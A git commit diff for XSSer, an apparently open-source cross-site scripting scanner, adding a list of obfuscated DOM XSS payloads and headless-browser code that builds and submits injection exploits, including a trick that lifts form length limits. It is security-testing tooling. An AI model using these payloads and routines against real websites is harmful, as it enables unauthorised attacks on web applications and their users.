Browse Source

XSSer v1.8[3] - 'The HiV€!' release

epsylon 2 years ago
parent
commit
30fc0c8d50
28 changed files with 584 additions and 272 deletions
  1. 1 1
      Makefile
  2. 11 2
      README.md
  3. 1 1
      core/__init__.py
  4. 1 1
      core/crawler.py
  5. 1 2
      core/curlcontrol.py
  6. 1 1
      core/dork.py
  7. BIN
      core/driver/geckodriver
  8. 1 1
      core/encdec.py
  9. 39 11
      core/fuzzing/DOM.py
  10. 1 1
      core/globalmap.py
  11. 2 3
      core/gtkcontroller.py
  12. 1 1
      core/imagexss.py
  13. 346 113
      core/main.py
  14. 0 5
      core/mozchecker.py
  15. 4 5
      core/options.py
  16. 1 1
      core/threadpool.py
  17. 38 8
      core/tokenhub.py
  18. 2 2
      core/twsupport.py
  19. 7 7
      core/update.py
  20. 2 0
      doc/AUTHOR
  21. 107 91
      doc/CHANGELOG
  22. 7 4
      doc/INSTALL
  23. 2 3
      doc/README
  24. 1 0
      doc/requirements.txt
  25. 2 2
      gtk/docs/about.txt
  26. 1 1
      gtk/xsser.ui
  27. 3 4
      setup.py
  28. 1 1
      xsser

+ 1 - 1
Makefile

@@ -4,7 +4,7 @@ PYTHON=`which python`
 DESTDIR=/
 BUILDIR=$(CURDIR)/debian/xsser
 PROJECT=xsser
-VERSION=1.8.2
+VERSION=1.8.3
 
 all:
 	@echo "make source - Create source package"

+ 11 - 2
README.md

@@ -41,14 +41,16 @@ XSSer runs on many platforms. It requires Python (3.x) and the following librari
     - python3-geoip2 - Python geoip2 API for web services and databases - Python 3.x
     - python3-gi - Python 3 bindings for gobject-introspection libraries
     - python3-cairocffi - cffi-based cairo bindings for Python (Python3)
+    - python3-selenium - Python3 bindings for Selenium
+    - firefoxdriver - Firefox WebDriver support
 
 On Debian-based systems (ex: Ubuntu), run: 
 
-    sudo apt-get install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-gi python3-cairocffi
+    sudo apt-get install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-gi python3-cairocffi python3-selenium firefoxdriver
 
 On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
 
-    sudo pip3 install pycurl bs4 geoip2 gobject cairocffi
+    sudo pip3 install pycurl bs4 geoip2 gobject cairocffi selenium
 
 ####  Source libs:
 
@@ -59,6 +61,7 @@ On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... als
    * PyGeoIP2: https://pypi.org/project/geoip2/
    * PyGObject: https://pypi.org/project/gobject/
    * PyCairocffi: https://pypi.org/project/cairocffi/
+   * PySelenium: https://pypi.org/project/selenium/
 
 ----------
 
@@ -79,5 +82,11 @@ in the [LICENSE](./docs/LICENSE) file.
 
   ![XSSer](https://xsser.03c8.net/xsser/thehive5.png "XSSer Bypassers")
 
+  ![XSSer](https://xsser.03c8.net/xsser/thehive6.png "XSSer [HTTP GET] [LOCAL] Reverse Exploit")
+
+  ![XSSer](https://xsser.03c8.net/xsser/thehive7.png "XSSer [HTTP POST] [REMOTE] Reverse Exploit")
+
+  ![XSSer](https://xsser.03c8.net/xsser/thehive8.png "XSSer [HTTP DOM] Exploit")
+
   ![XSSer](https://xsser.03c8.net/xsser/zika4.png "XSSer GeoMap")
 

+ 1 - 1
core/__init__.py

@@ -1,7 +1,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free

+ 1 - 1
core/crawler.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free

+ 1 - 2
core/curlcontrol.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -495,7 +495,6 @@ class Curl:
                 print("Limit to follow:", cls.fli)
         else:
             print("Delaying:", cls.delay, "seconds")
-
         print("Retries:", cls.retries, "\n")
 
     def answered(self, check):

+ 1 - 1
core/dork.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free

BIN
core/driver/geckodriver


+ 1 - 1
core/encdec.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free

+ 39 - 11
core/fuzzing/DOM.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -24,14 +24,42 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 ## Happy Cross Hacking! ;)
 
 DOMvectors = [
-		{ 'payload' : """?notname=PAYLOAD&""",
-		  'browser' : """[Document Object Model Injection]"""},
-		{ 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="PAYLOAD" style="behavior:url(#x);"><param name=postdomevents /></object>''',
-		  'browser' : """[Document Object Model Injection]"""},
-		{ 'payload' : """?<script>history.pushState(0,0,'PAYLOAD');</script>""",
-		  'browser' : """[Document Object Model Injection]"""},
-		{ 'payload' : """?name=Y%0d%0a%0d%0aPAYLOAD""",
-		  'browser' : """[Document Object Model Injection]"""}, 
-		{ 'payload' : """?foobar=name=PAYLOAD&""",
-		  'browser' : """[Document Object Model Injection]"""}
+#		{ 'payload' : """?notname=PAYLOAD&""",
+#		  'browser' : """[Document Object Model Injection]"""},
+#		{ 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="PAYLOAD" style="behavior:url(#x);"><param name=postdomevents /></object>''',
+#		  'browser' : """[Document Object Model Injection]"""},
+#		{ 'payload' : """?<script>history.pushState(0,0,'PAYLOAD');</script>""",
+#		  'browser' : """[Document Object Model Injection]"""},
+#		{ 'payload' : """?name=Y%0d%0a%0d%0aPAYLOAD""",
+#		  'browser' : """[Document Object Model Injection]"""}, 
+#		{ 'payload' : """?foobar=name=PAYLOAD&""",
+#		  'browser' : """[Document Object Model Injection]"""},
+		{ 'payload':"""Y#<script>alert('PAYLOAD')</script>""",
+		  'browser':"""[Document Object Model Injection]"""},
+        { 'payload':"""Y#<%<!--'%><script>alert(PAYLOAD);</script -->""",
+          'browser':"""[Document Object Model Injection]"""},			
+        { 'payload':"""Y#<script ^__^>alert(PAYLOAD)</script ^__^""",
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#<script src="data:text/javascript,alert(PAYLOAD)"></script>''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':"""Y#<script>+-+-1-+-+alert(PAYLOAD)</script>""",
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':"""Y#<script x> alert(PAYLOAD) </script 1=2""",
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#<script>a=eval;b=alert;a(b(/ PAYLOAD/.source));</script>'">''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#<script/y~~~>;alert(PAYLOAD);</script/Y~~~>''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#%00“><script>alert(PAYLOAD)</script>''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#%22%3E%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#`"><%3Cscript>javascript:alert(PAYLOAD)</script>''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#%3Cscript>javascript:alert(PAYLOAD)</script>''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':"""Y#<SCRIPT>a=/PAYLOAD/alert(a.source)</SCRIPT>""",
+          'browser':"""[Document Object Model Injection]"""}
 		]

+ 1 - 1
core/globalmap.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free

+ 2 - 3
core/gtkcontroller.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -352,7 +352,7 @@ class Controller(XSSerReporter):
         Callback called when the window is destroyed (close button clicked)
         """
         if self._flying:
-            print("[Info] Exiting... please wait until all mosquitoes return to mothership!\n")
+            print("[Info] Please wait... until all the mosquitoes have returned to the hieve... -> [Exiting!]\n")
             self._quitting = True
             self.on_stop_attack()
             self.do_quit()
@@ -387,7 +387,6 @@ class Controller(XSSerReporter):
             work_count = ""
             crawled = "X"
         pars = [crawled, rem, th_count, work_count]
-
         gdk.threads_enter()
         self.counters_label.set_text(" ".join(pars))
         if pars[3]:

+ 1 - 1
core/imagexss.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free

+ 346 - 113
core/main.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -19,7 +19,12 @@ You should have received a copy of the GNU General Public License along
 with xsser; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
-import os, re, sys, datetime, hashlib, time, urllib.request, urllib.parse, urllib.error, cgi, traceback, webbrowser, random
+import os, re, sys, datetime, hashlib, time, cgi, traceback, webbrowser, random
+try:
+    import urllib.request, urllib.error, urllib.parse
+except:
+    print ("\n[Info] XSSer no longer supports Python2: (https://www.python.org/doc/sunset-python-2/). Try to run the tool with Python3.x.y... (ex: python3 xsser)\n")
+    sys.exit()
 from random import randint
 from base64 import b64encode, b64decode
 import core.fuzzing
@@ -45,7 +50,7 @@ from core.threadpool import ThreadPool, NoResultsPending
 from core.update import Updater
 
 # set to emit debug messages about errors (0 = off).
-DEBUG = 0
+DEBUG = False
 
 class xsser(EncoderDecoder, XSSerReporter):
     """
@@ -624,7 +629,7 @@ class xsser(EncoderDecoder, XSSerReporter):
 
     def get_url_payload(self, url, payload, query_string, user_attack_payload):
         """
-        Attack the given url with the given payload
+        Attack the given url within the given payload
         """
         options = self.options
         self._ongoing_attacks = {}
@@ -896,6 +901,8 @@ class xsser(EncoderDecoder, XSSerReporter):
                 target_url_params = urllib.parse.urlencode(target_params)
                 dest_url = target_url_params
         self._ongoing_attacks['url'] = url_orig_hash
+        if payload['browser'] == "[Document Object Model Injection]": # url decoding/unquote DOM payloads to execute url #fragments
+            dest_url = urllib.parse.unquote(dest_url)
         return dest_url, agent, referer, cookie
 
     def attack_url_payload(self, url, payload, query_string):
@@ -934,18 +941,17 @@ class xsser(EncoderDecoder, XSSerReporter):
             pool.addRequest(c.post, [[url, dest_url]], _cb, _error_cb)
             self._ongoing_requests += 1
 
-
     def error_attack_url_payload(self, c, url, request, error):
         self._ongoing_requests -= 1
         for reporter in self._reporters:
             reporter.mosquito_crashed(url, str(error[0]))
         dest_url = request.args[0]
-        self.report("Failed attempt (URL Malformed!?): " + url + "\n")
+        self.report("[Error] Failed attempt (URL Malformed!?): " + url + "\n")
         self.urlmalformed = True
         if self.urlmalformed == True and self.urlspoll[0] == url:
             self.land()
-        self.report(str(error[0]))
-        if self.options.verbose:
+        if DEBUG == True:
+            self.report(str(error[0]))
             traceback.print_tb(error[2])
         c.close()
         del c
@@ -1082,7 +1088,7 @@ class xsser(EncoderDecoder, XSSerReporter):
     def _report_attack_success(self, curl_handle, dest_url, payload,\
                                query_string, orig_url):
         """
-        report connection success of an attack
+        report connection success when attacking
         """
         if not orig_url in self.successful_urls:
             self.successful_urls.append(orig_url)
@@ -1411,13 +1417,31 @@ class xsser(EncoderDecoder, XSSerReporter):
             if b64_string.startswith("="):
                 b64_string = b64_string.replace("=", "")
             hashing = b64_string
-        if str(hashing) in c_body and "http-code: 200" in c_info: # [XSS CHECKPOINT: anti-false positives]
-            self.check_false_positives(hashing, c_body, dest_url, payload, query_string, orig_url, method)
+        if payload['browser'] == "[Document Object Model Injection]":
+            self.check_hash_using_dom(dest_url, payload, hashing, query_string, orig_url, method) # check hash using internal headless browser engine
+        else:
+            if str(hashing) in c_body and "http-code: 200" in c_info: # [XSS CHECKPOINT: anti-false positives]
+                self.check_false_positives(hashing, c_body, dest_url, payload, query_string, orig_url, method)
+            else:
+                self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
+
+    def check_hash_using_dom(self, dest_url, payload, hashing, query_string, orig_url, method):
+        if self.cookie_set_flag == False:
+            self.generate_headless_cookies(orig_url)
+            self.cookie_set_flag = True # cookie has been set!
+        try:
+            self.driver.get(dest_url) # GET
+            src = self.driver.page_source
+        except self.dom_browser_alert as alert_text: # handled with UnexpectedAlertPresentException 
+            if (hashing in str(alert_text)): # [XSS DOM CHECKPOINT: alert() dialog open!]
+                self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
+                self.token_arrived_hashes.append(hashing) # add token/hashing for counting
+            else:
+                self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
         else:
             self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
 
-    def check_false_positives(self, hashing, c_body, dest_url, payload, query_string, orig_url, method):
-        # some anti false positives checkers
+    def check_false_positives(self, hashing, c_body, dest_url, payload, query_string, orig_url, method): # some anti false positives checkers
         if str(self.options.discode) in c_body: # provided by user
             self.report("[Info] Reply contains code [ --discode ] provided to be discarded -> [DISCARDING!]\n")
             self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
@@ -1438,28 +1462,28 @@ class xsser(EncoderDecoder, XSSerReporter):
         Add an attack that failed to inject
         """
         if method == "heuristic":
-            self.report(" [ NOT-FOUND ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
+            self.report(" [NOT FOUND] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
             self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
         elif method == "hashing check":
-            self.report(" [ NOT-FOUND ] -> [ " + str(hashing) + " ] : [ hashing_check ]")
+            self.report(" [NOT FOUND] -> [ " + str(hashing) + " ] : [ hashing_check ]")
             self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
         else:
-            self.report(" [ NOT-FOUND ] -> [ " + hashing + " ] : [ " + method + " ]")
+            self.report(" [NOT FOUND] -> [ " + hashing + " ] : [ " + method + " ]")
             self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
           
     def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
         """
-        Add an attack that managed to inject the code
+        Add an attack that have managed to inject code
         """
         if method == "heuristic":
-            self.report(" [ FOUND! ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
+            self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
             self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
         elif method == "hashing check":
-            self.report(" [ FOUND! ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
+            self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
             self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
         else:
             payload_sub =  payload['payload']
-            self.report(" [ FOUND! ] -> [ " + hashing + " ] : [ " + method + " ] -> [ " + payload_sub + " ]")
+            self.report(" [FOUND !!!] -> [ " + hashing + " ] : [ " + method + " ]")
             self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
         for reporter in self._reporters:
             reporter.add_success(dest_url)
@@ -1469,31 +1493,83 @@ class xsser(EncoderDecoder, XSSerReporter):
             else:
                 self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
 
-    def do_token_check(self, orig_url, hashing, payload, query_string, dest_url):
+    def create_headless_embed_browser(self):
+        agents = [] # user-agents
+        self.cookie_set_flag = False # used for cookie
+        f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
+        for line in f:
+            agents.append(line)
+        try:
+            agent = random.choice(agents).strip() # set random user-agent
+        except:
+            agent = "Privoxy/1.0" # set static user-agent
+        try: # selenium + firefox + gecko(bin)
+            from selenium import webdriver
+            from selenium.webdriver.firefox.options import Options as FirefoxOptions
+            from selenium.common.exceptions import UnexpectedAlertPresentException as UnexpectedAlertPresentException # used for search alert dialogs at DOM
+            self.dom_browser_alert = UnexpectedAlertPresentException
+            profile = webdriver.FirefoxProfile()
+            profile.set_preference("general.useragent.override", str(agent)) # set Firefox (profile) - random user-agent
+            profile.set_preference('browser.safebrowsing.enabled', True)
+            profile.set_preference('toolkit.telemetry.enabled', False)
+            profile.set_preference('webdriver_accept_untrusted_certs', True)
+            profile.set_preference('security.insecure_field_warning.contextual.enabled', False)
+            profile.set_preference('security.insecure_password.ui.enabled', False)
+            profile.set_preference('extensions.logging.enabled', False)
+            options = FirefoxOptions()
+            options.add_argument("-headless") # set Firefox (options) - headless mode
+            options.add_argument("-no-remote")
+            options.add_argument("-no-first-run")
+            options.add_argument("-app")
+            options.add_argument("-safe-mode")
+            current_dir = os.getcwd()
+            driver = webdriver.Firefox(options=options, firefox_profile=profile, executable_path=current_dir+"/core/driver/geckodriver", log_path=os.devnull) # wrapping!
+        except:
+            driver = None
+            self.token_arrived_flag = False
+            if DEBUG == True: 
+                traceback.print_exc()
+        return driver
+
+    def generate_GET_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
         if "VECTOR" in orig_url:
-            dest_url = orig_url
+           dest_url = orig_url
         else:
             if not dest_url.endswith("/"):
                 dest_url = dest_url + "/"
-            dest_url = orig_url + query_string + payload['payload']
-
-        tok_url = None
+        dest_url = orig_url + query_string
+        dest_url = dest_url.split("#")[0]
+        p_uri = urlparse(dest_url)
+        uri = p_uri.netloc
+        path = p_uri.path
+        target_params = parse_qs(urlparse(dest_url).query, keep_blank_values=False)
+        for key, value in target_params.items():
+            if key == vector_found: # only replace parameters with valid hashes
+                target_params[key] = payload['payload']
+            else:
+                target_params[key] = target_params[key][0]
+        target_url_params = urllib.parse.urlencode(target_params)
+        dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
+        dest_url = urllib.parse.unquote(dest_url)
+        tok_url = self.generate_token_exploit(hashing, dest_url, payload)
+        return tok_url
+
+    def generate_POST_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
+        if vector_found in dest_url:
+            v = dest_url.split(vector_found+"=")[1]
+            p = v.split("&")[0]
+            dest_url = dest_url.replace(p, payload['payload'])
+        dest_url = urllib.parse.unquote(dest_url)
+        tok_url = self.generate_token_exploit(hashing, dest_url, payload)
+        return tok_url
+
+    def generate_token_exploit(self, hashing, dest_url, payload):
         self_url = "http://localhost:19084/success/" + hashing
         shadow_js_inj = "document.location=document.location.hash.substring(1)"
         shadow_inj = "<script>" + shadow_js_inj + "</script>"
-        shadow_js_inj = shadow_js_inj
-        dest_url = dest_url.split("#")[0]
-
-        def requote(what):
-            return urllib.parse.quote_plus(what)
-        vector_and_payload = payload['payload']
         _e = self.encoding_permutations
-        if 'XSS' in dest_url:
-            dest_url = dest_url.replace('XSS', vector_and_payload)
-        if 'X1S' in dest_url:
-            dest_url = dest_url.replace('XSS', vector_and_payload)
         if 'VECTOR' in dest_url:
-            dest_url = dest_url.replace('VECTOR', vector_and_payload)
+            dest_url = dest_url.replace('VECTOR', payload['payload'])
         if '">PAYLOAD' in dest_url:
             tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
             tok_url += '#' + self_url
@@ -1501,10 +1577,8 @@ class xsser(EncoderDecoder, XSSerReporter):
             tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
             tok_url += '#' + self_url
         elif "javascript:PAYLOAD" in dest_url:
-            tok_url = dest_url.replace('javascript:PAYLOAD',
-                                       self.encoding_permutations("window.location='" + self_url+"';"))
-            tok_url = dest_url.replace("javascript:PAYLOAD",
-                                       _e("javascript:" + shadow_js_inj))
+            tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
+            tok_url = dest_url.replace("javascript:PAYLOAD", _e("javascript:" + shadow_js_inj))
             tok_url+= '#' + self_url
         elif '"PAYLOAD"' in dest_url:
             tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
@@ -1513,17 +1587,14 @@ class xsser(EncoderDecoder, XSSerReporter):
         elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
             tok_url = dest_url.replace('PAYLOAD', self_url)
         elif "SCRIPT" in dest_url:
-            tok_url = dest_url.replace('PAYLOAD',
-                                      shadow_js_inj)
+            tok_url = dest_url.replace('PAYLOAD', shadow_js_inj)
             tok_url += '#' + self_url
         elif 'onerror="PAYLOAD"' in dest_url:
             tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
             tok_url+= '#' + self_url
         elif 'onerror="javascript:PAYLOAD"' in dest_url:
-            tok_url = dest_url.replace('javascript:PAYLOAD',
-            				self.encoding_permutations("window.location='" + self_url+"';"))
-            tok_url = dest_url.replace('onerror="javascript:PAYLOAD"',
-                                       _e('onerror="javascript:' + shadow_js_inj + '"'))
+            tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
+            tok_url = dest_url.replace('onerror="javascript:PAYLOAD"', _e('onerror="javascript:' + shadow_js_inj + '"'))
             tok_url+= '#' + self_url
         elif '<PAYLOAD>' in dest_url:
             tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
@@ -1537,15 +1608,79 @@ class xsser(EncoderDecoder, XSSerReporter):
             tok_url = dest_url.replace('PAYLOAD', self_url)
         elif 'url' in dest_url and 'PAYLOAD' in dest_url:
             tok_url = dest_url.replace('PAYLOAD', self_url)
-        self.final_attacks[hashing] = {'url': tok_url}
-        if tok_url:
-            try:
-                if self.options.reverseopen:
-                    self.report("\n" + "-"*25+"\n")
-                    self.report("[Info] Launching web browser (default) with a 'token' url...")
-                    self._webbrowser.open(tok_url)
-            except:
-                pass
+        return tok_url
+
+    def do_token_check(self, orig_url, hashing, payload, query_string, dest_url): # searching for a [100% VULNERABLE] XSS exploit!
+        tok_url = None
+        tok_total = []
+        if self.hash_found:
+            for l in self.hash_found:
+                vector_found = l[2]
+                hash_found = l[3]
+                if hashing in hash_found:
+                    if not self.options.postdata: # GET
+                        tok_url = self.generate_GET_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
+                    else: # POST
+                        tok_url = self.generate_POST_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
+                    if tok_url:
+                        self.send_token_exploit(orig_url, tok_url, hashing, vector_found)
+
+    def generate_headless_cookies(self, orig_url): # generate cookies for headless browser engine
+        self.driver.get(orig_url)
+        r_cookies = self.driver.get_cookies() # get cookies
+        if self.options.cookie:
+            from http.cookies import SimpleCookie # import SimpleCookie
+            cookie = SimpleCookie()
+            cookie.load(self.options.cookie)
+            for key, morsel in cookie.items():
+                for c in r_cookies:
+                    if key == c["name"]:
+                        c["value"] = str(morsel.value)
+            for c in r_cookies:
+                self.driver.add_cookie(c) # add cookies to driver
+
+    def send_token_exploit(self, orig_url, tok_url, hashing, vector_found):
+        try:
+            if self.cookie_set_flag == False:
+                self.generate_headless_cookies(orig_url)
+                self.cookie_set_flag = True # cookie has been set!
+            if self.options.postdata: # GET + web forms scrapping + POST
+                self.driver.get(orig_url) # GET request to store forms
+                tok_parsed = parse_qs(tok_url)
+                param_found = []
+                for param_parsed in tok_parsed: # find params
+                    param = self.driver.find_element_by_name(param_parsed) # by name
+                    if not param:
+                        param = self.driver.find_element_by_id(param_parsed) # by id
+                    if param:
+                        value = str(tok_parsed[param_parsed])
+                        if "#http://localhost:19084/success/"+str(hashing) in value: # re-parsing injected params for POST
+                            value = value.replace("#http://localhost:19084/success/"+str(hashing), "")
+                        if "<script>document.location=document.location.hash.substring(1)</script>" in value:
+                            value = value.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")
+                        if "['" in value:
+                            value = value.replace("['", "")
+                        if "']" in value:
+                            value = value.replace("']", "")
+                        param.send_keys(str(value))
+                        param_found.append(param)
+                        max_length = param.get_attribute("maxlength")
+                        if max_length: # bypass max length filters by changing DOM | black magic!
+                            self.driver.execute_script("arguments[0].setAttribute('maxlength', arguments[1])", param, '9999999')
+                if len(param_found) == len(tok_parsed): # form fully filled!
+                    login = self.driver.find_element_by_xpath("//*[@type='submit']") # find submit by type
+                    login.click() # click it!
+            else: # GET
+                self.driver.get(tok_url)
+            if tok_url not in self.final_attacks: 
+                self.final_attacks[hashing] = {'url': tok_url}
+                self.token_arrived_flag = True
+            else:
+                self.token_arrived_flag = False
+        except:
+            self.token_arrived_flag = False
+            if DEBUG == True:
+                traceback.print_exc()
 
     def _report_attack_failure(self, curl_handle, dest_url, payload,\
                                query_string, orig_url):
@@ -1918,9 +2053,10 @@ class xsser(EncoderDecoder, XSSerReporter):
                 print("\nTrying to update to the latest stable version...\n")
                 Updater() 
             except:
-                print("\nSomething was wrong!. You should clone XSSer manually with:\n")
+                print("Not any .git repository found!\n")
+                print("="*30)
+                print("\nTo have working this feature, you should clone XSSer with:\n")
                 print("$ git clone https://code.03c8.net/epsylon/xsser\n")
-
                 print("\nAlso you can try this other mirror:\n")
                 print("$ git clone https://github.com/epsylon/xsser\n")
             return []
@@ -2237,7 +2373,8 @@ class xsser(EncoderDecoder, XSSerReporter):
         def _error_cb(request, error):
             for reporter in self._reporters:
                 reporter.mosquito_crashed(url, str(error[0]))
-            traceback.print_tb(error[2])
+            if DEBUG == True:
+                traceback.print_tb(error[2])
 
         def crawler_main(args):
             return crawler.crawl(*args)
@@ -2259,7 +2396,7 @@ class xsser(EncoderDecoder, XSSerReporter):
             return func(*args)
         except Exception as e:
             self.report(error)
-            if DEBUG:
+            if DEBUG == True:
                 traceback.print_exc()
  
     def check_trace(self):
@@ -2563,18 +2700,23 @@ class xsser(EncoderDecoder, XSSerReporter):
         """
         Run xsser.
         """
-        #self._landing = False
+        self.token_arrived_flag = False # used for --reverse-check
+        self.success_arrived_flag = False # used for --reverse-check
+        self.token_arrived_hash = None # used for --reverse-check
+        self.token_arrived_hashes = [] # used for --reverse-check
+
         for reporter in self._reporters:
             reporter.start_attack()
+
         if opts:
             options = self.create_options(opts)
             self.set_options(options)
-        if not self.mothership and not self.hub:
+        if not self.hub:
             self.hub = HubThread(self)
             self.hub.start()
+
         options = self.options
         if options:
-            # step -1; order attacks
             if self.options.hash is True: # not fuzzing/heuristic when hash precheck
                 self.options.fuzz = False
                 self.options.script = False
@@ -2599,7 +2741,6 @@ class xsser(EncoderDecoder, XSSerReporter):
                 self.options.Cem = self.options.Cem.replace(" ","")
         else:
             pass
-        # step 0: third party tricks
         try:
             if self.options.imx: # create -fake- image with code injected
                 p = self.optionParser
@@ -2645,6 +2786,9 @@ class xsser(EncoderDecoder, XSSerReporter):
                 self.report("[XST Attack!] checking for HTTP TRACE method ...")
                 self.report('='*75)
             self.check_trace()
+ 
+        if self.options.reversecheck or self.options.dom: # generate headless embed web browser
+            self.driver = self.create_headless_embed_browser()
 
         if options.checktor:
             url = self.check_tor_url # TOR status checking site
@@ -2666,24 +2810,24 @@ class xsser(EncoderDecoder, XSSerReporter):
                 agents.append(line)
             agent = random.choice(agents).strip() # set random user-agent
             referer = "127.0.0.1"
-            print("\nSending request to: " + url + "\n")
+            print("\n[Info] Sending request to: " + url + "\n")
             print("-"*25+"\n")
             headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
             try:
-                import urllib.request, urllib.error, urllib.parse
                 req = urllib.request.Request(url, None, headers)
